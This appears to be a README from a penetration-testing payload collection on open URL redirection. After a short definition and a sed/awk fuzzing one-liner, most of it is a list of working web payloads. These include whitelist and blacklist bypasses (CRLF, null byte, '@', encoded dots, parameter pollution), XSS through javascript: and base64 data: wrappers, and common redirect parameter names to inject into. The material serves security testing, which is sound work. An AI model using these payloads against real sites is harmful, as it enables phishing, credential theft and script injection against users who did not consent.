| .. | ||
| Intruder | ||
| README.md | ||
Open URL Redirection
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
Fuzzing
Replace www.whitelisteddomain.tld from Open-Redirect-payloads.txt with a specific white listed domain in your test case
To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
Exploitation
Using a whitelisted domain or keyword
www.whitelisted.com.evil.com redirect to evil.com
Using CRLF to bypass "javascript" blacklisted keyword
java%0d%0ascript%0d%0a:alert(0)
Using "//" to bypass "http" blacklisted keyword
//google.com
Using "https:" to bypass "//" blacklisted keyword
https:google.com
Using "//" to bypass "//" blacklisted keyword (Browsers see // as //)
\/\/google.com/
/\/google.com/
Using "%E3%80%82" to bypass "." blacklisted character
//google%E3%80%82com
Using null byte "%00" to bypass blacklist filter
//google%00.com
Using parameter pollution
?next=whitelisted.com&next=google.com
Using "@" character, browser will redirect to anything after the "@"
http://www.theirsite.com@yoursite.com/
Creating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
XSS from Open URL - If it's in a JS variable
";alert(0);//
XSS from data:// wrapper
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
XSS from javascript:// wrapper
http://www.example.com/redirect.php?url=javascript:prompt(1)
Common injection parameters
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}